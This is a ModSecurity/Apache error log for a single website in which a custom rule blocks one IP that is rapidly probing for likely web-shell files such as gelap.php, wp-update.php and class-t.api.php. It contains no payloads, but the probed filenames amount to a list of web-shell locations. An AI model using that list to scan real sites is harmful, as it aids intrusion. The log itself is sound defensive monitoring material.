[Sun Dec 28 21:06:30.415691 2025] [:error] [pid 42292:tid 42302] [client 4.218.19.19:18040] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cccc.php"] [unique_id "aVErVpyOrM_vaFx1osZaggAAAAY"]
[Sun Dec 28 21:06:31.655948 2025] [:error] [pid 29388:tid 29407] [client 4.218.19.19:16172] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cccc.php"] [unique_id "aVErV9oLv2L2zI_SpdXyAAAAAUs"]
[Sun Dec 28 21:06:33.746434 2025] [:error] [pid 43789:tid 43811] [client 4.218.19.19:16163] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aVErWQa-tUppni4CcCZFUgAAARQ"]
[Sun Dec 28 21:06:34.808942 2025] [:error] [pid 42292:tid 42303] [client 4.218.19.19:1196] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aVErWpyOrM_vaFx1osZaiwAAAAc"]
[Sun Dec 28 21:06:36.972136 2025] [:error] [pid 42378:tid 42403] [client 4.218.19.19:12882] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aVErXDgtcN-KHAjWrX8q4AAAANc"]
[Sun Dec 28 21:06:38.067310 2025] [:error] [pid 42292:tid 42315] [client 4.218.19.19:12898] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aVErXpyOrM_vaFx1osZajgAAABM"]
[Sun Dec 28 21:06:39.096351 2025] [:error] [pid 42292:tid 42301] [client 4.218.19.19:17992] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aVErX5yOrM_vaFx1osZakQAAAAU"]
[Sun Dec 28 21:06:40.807995 2025] [:error] [pid 42292:tid 42305] [client 4.218.19.19:19063] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aVErYJyOrM_vaFx1osZalAAAAAk"]
[Sun Dec 28 21:06:42.674384 2025] [:error] [pid 42293:tid 42326] [client 4.218.19.19:21572] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aVErYsvc9B-5cwN385L8zQAAAEM"]
[Sun Dec 28 21:06:44.088302 2025] [:error] [pid 29436:tid 29449] [client 4.218.19.19:21670] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aVErZLchzOOtNL9VPNILiwAAAYo"]
[Sun Dec 28 21:06:46.628450 2025] [:error] [pid 43789:tid 43811] [client 4.218.19.19:12864] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v4.php"] [unique_id "aVErZga-tUppni4CcCZFZgAAARQ"]
[Sun Dec 28 21:06:47.618676 2025] [:error] [pid 42292:tid 42310] [client 4.218.19.19:19829] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v4.php"] [unique_id "aVErZ5yOrM_vaFx1osZamgAAAA4"]
[Sun Dec 28 21:06:50.040648 2025] [:error] [pid 29436:tid 29453] [client 4.218.19.19:21872] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v4.php"] [unique_id "aVErarchzOOtNL9VPNILlAAAAY4"]
[Sun Dec 28 21:06:50.783012 2025] [:error] [pid 29436:tid 29448] [client 4.218.19.19:19813] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v4.php"] [unique_id "aVErarchzOOtNL9VPNILlQAAAYk"]
[Sun Dec 28 21:06:52.014527 2025] [:error] [pid 29388:tid 29409] [client 4.218.19.19:21595] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aVErbNoLv2L2zI_SpdXyBQAAAU0"]
[Sun Dec 28 21:06:52.887176 2025] [:error] [pid 29436:tid 29453] [client 4.218.19.19:21668] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aVErbLchzOOtNL9VPNIMGAAAAY4"]
[Sun Dec 28 21:06:54.249332 2025] [:error] [pid 29437:tid 29471] [client 4.218.19.19:33727] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aVErbhhDotAbVk6pZLfXjgAAAcU"]
[Sun Dec 28 21:06:56.793305 2025] [:error] [pid 42294:tid 42352] [client 4.218.19.19:21851] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aVErcNTE5kYcYCOzl9HNwgAAAII"]
[Sun Dec 28 21:07:01.064350 2025] [:error] [pid 43789:tid 43808] [client 4.218.19.19:33687] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aVErdQa-tUppni4CcCZFcgAAARE"]
[Sun Dec 28 21:07:02.838111 2025] [:error] [pid 43789:tid 43812] [client 4.218.19.19:24479] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aVErdga-tUppni4CcCZFdQAAARU"]
[Sun Dec 28 21:07:04.844393 2025] [:error] [pid 42292:tid 42320] [client 4.218.19.19:33719] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aVEreJyOrM_vaFx1osZaqQAAABg"]
[Sun Dec 28 21:07:07.047576 2025] [:error] [pid 29437:tid 29473] [client 4.218.19.19:1531] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aVErexhDotAbVk6pZLfXmQAAAcc"]
[Sun Dec 28 21:07:08.370656 2025] [:error] [pid 43789:tid 43815] [client 4.218.19.19:1844] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "aVErfAa-tUppni4CcCZFfAAAARg"]
[Sun Dec 28 21:07:11.408219 2025] [:error] [pid 42294:tid 42362] [client 4.218.19.19:14486] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "aVErf9TE5kYcYCOzl9HNzwAAAIw"]
[Sun Dec 28 21:07:13.655340 2025] [:error] [pid 42294:tid 42358] [client 4.218.19.19:22795] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "aVErgdTE5kYcYCOzl9HN0AAAAIg"]
[Sun Dec 28 21:07:16.222843 2025] [:error] [pid 29436:tid 29441] [client 4.218.19.19:35022] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "aVErhLchzOOtNL9VPNIMUQAAAYI"]
[Sun Dec 28 21:07:17.181276 2025] [:error] [pid 29436:tid 29439] [client 4.218.19.19:14511] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gelap.php"] [unique_id "aVErhbchzOOtNL9VPNIMWQAAAYA"]
[Sun Dec 28 21:07:18.915538 2025] [:error] [pid 42294:tid 42351] [client 4.218.19.19:22543] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gelap.php"] [unique_id "aVErhtTE5kYcYCOzl9HN1wAAAIE"]
[Sun Dec 28 21:07:20.327505 2025] [:error] [pid 42292:tid 42304] [client 4.218.19.19:24468] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gelap.php"] [unique_id "aVEriJyOrM_vaFx1osZasgAAAAg"]
[Sun Dec 28 21:07:21.003645 2025] [:error] [pid 42292:tid 42307] [client 4.218.19.19:33680] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gelap.php"] [unique_id "aVEriZyOrM_vaFx1osZatgAAAAs"]
[Sun Dec 28 21:07:21.689746 2025] [:error] [pid 42293:tid 42329] [client 4.218.19.19:23515] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aVEricvc9B-5cwN385L86QAAAEY"]
[Sun Dec 28 21:07:23.593029 2025] [:error] [pid 42294:tid 42350] [client 4.218.19.19:35724] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aVEri9TE5kYcYCOzl9HN2wAAAIA"]
[Sun Dec 28 21:07:25.750393 2025] [:error] [pid 42378:tid 42385] [client 4.218.19.19:1834] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aVErjTgtcN-KHAjWrX8q_wAAAMU"]
[Sun Dec 28 21:07:34.858027 2025] [:error] [pid 42293:tid 42325] [client 4.218.19.19:23960] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aVErlsvc9B-5cwN385L9BgAAAEI"]
[Sun Dec 28 21:07:36.523897 2025] [:error] [pid 29436:tid 29459] [client 4.218.19.19:11416] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aVErmLchzOOtNL9VPNIMbQAAAZQ"]
[Sun Dec 28 21:07:37.484804 2025] [:error] [pid 43789:tid 43792] [client 4.218.19.19:11448] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aVErmQa-tUppni4CcCZFnQAAAQE"]
[Sun Dec 28 21:07:39.976165 2025] [:error] [pid 29388:tid 29412] [client 4.218.19.19:2007] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aVErm9oLv2L2zI_SpdXyFgAAAVA"]
[Sun Dec 28 21:07:41.802132 2025] [:error] [pid 43789:tid 43809] [client 4.218.19.19:19280] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aVErnQa-tUppni4CcCZFogAAARI"]
[Sun Dec 28 21:07:43.443912 2025] [:error] [pid 43789:tid 43814] [client 4.218.19.19:15888] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aVErnwa-tUppni4CcCZFrgAAARc"]
[Sun Dec 28 21:07:45.566456 2025] [:error] [pid 42294:tid 42366] [client 4.218.19.19:23566] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aVErodTE5kYcYCOzl9HOBwAAAJA"]
[Sun Dec 28 21:07:47.205931 2025] [:error] [pid 42294:tid 42373] [client 4.218.19.19:24207] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aVEro9TE5kYcYCOzl9HODQAAAJc"]
[Sun Dec 28 21:07:49.085651 2025] [:error] [pid 29436:tid 29441] [client 4.218.19.19:2023] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aVErpbchzOOtNL9VPNIMmQAAAYI"]
[Sun Dec 28 21:07:49.929856 2025] [:error] [pid 29436:tid 29446] [client 4.218.19.19:20649] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aVErpbchzOOtNL9VPNIMnAAAAYc"]
[Sun Dec 28 21:07:51.285910 2025] [:error] [pid 29436:tid 29442] [client 4.218.19.19:19327] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aVErp7chzOOtNL9VPNIMnQAAAYM"]
[Sun Dec 28 21:07:52.993905 2025] [:error] [pid 29388:tid 29404] [client 4.218.19.19:20951] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aVErqNoLv2L2zI_SpdXyPAAAAUg"]
[Sun Dec 28 21:07:56.967543 2025] [:error] [pid 42378:tid 42402] [client 4.218.19.19:20558] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/33.php"] [unique_id "aVErrDgtcN-KHAjWrX8rGgAAANY"]
[Sun Dec 28 21:08:00.699729 2025] [:error] [pid 29388:tid 29412] [client 4.218.19.19:18946] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/33.php"] [unique_id "aVErsNoLv2L2zI_SpdXyQwAAAVA"]
[Sun Dec 28 21:08:01.395838 2025] [:error] [pid 42293:tid 42334] [client 4.218.19.19:35870] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/33.php"] [unique_id "aVErscvc9B-5cwN385L9MgAAAEs"]
[Sun Dec 28 21:08:01.933514 2025] [:error] [pid 42292:tid 42304] [client 4.218.19.19:16753] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/33.php"] [unique_id "aVErsZyOrM_vaFx1osZa4QAAAAg"]
[Sun Dec 28 21:08:05.174062 2025] [:error] [pid 42293:tid 42338] [client 4.218.19.19:18949] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/o.php"] [unique_id "aVErtcvc9B-5cwN385L9OQAAAE8"]
[Sun Dec 28 21:08:06.240725 2025] [:error] [pid 29437:tid 29479] [client 4.218.19.19:33657] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/o.php"] [unique_id "aVErthhDotAbVk6pZLfX0gAAAc0"]
[Sun Dec 28 21:08:07.955476 2025] [:error] [pid 29437:tid 29485] [client 4.218.19.19:35211] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/o.php"] [unique_id "aVErtxhDotAbVk6pZLfX1AAAAdM"]
[Sun Dec 28 21:08:08.865026 2025] [:error] [pid 29388:tid 29411] [client 4.218.19.19:18965] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/o.php"] [unique_id "aVEruNoLv2L2zI_SpdXySwAAAU8"]
[Sun Dec 28 21:08:10.997867 2025] [:error] [pid 29388:tid 29399] [client 4.218.19.19:14078] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wcas.php"] [unique_id "aVErutoLv2L2zI_SpdXyTgAAAUM"]
[Sun Dec 28 21:08:12.226770 2025] [:error] [pid 29436:tid 29460] [client 4.218.19.19:14940] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wcas.php"] [unique_id "aVErvLchzOOtNL9VPNIMugAAAZU"]
[Sun Dec 28 21:08:14.667606 2025] [:error] [pid 29436:tid 29458] [client 4.218.19.19:1906] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wcas.php"] [unique_id "aVErvrchzOOtNL9VPNIMwQAAAZM"]
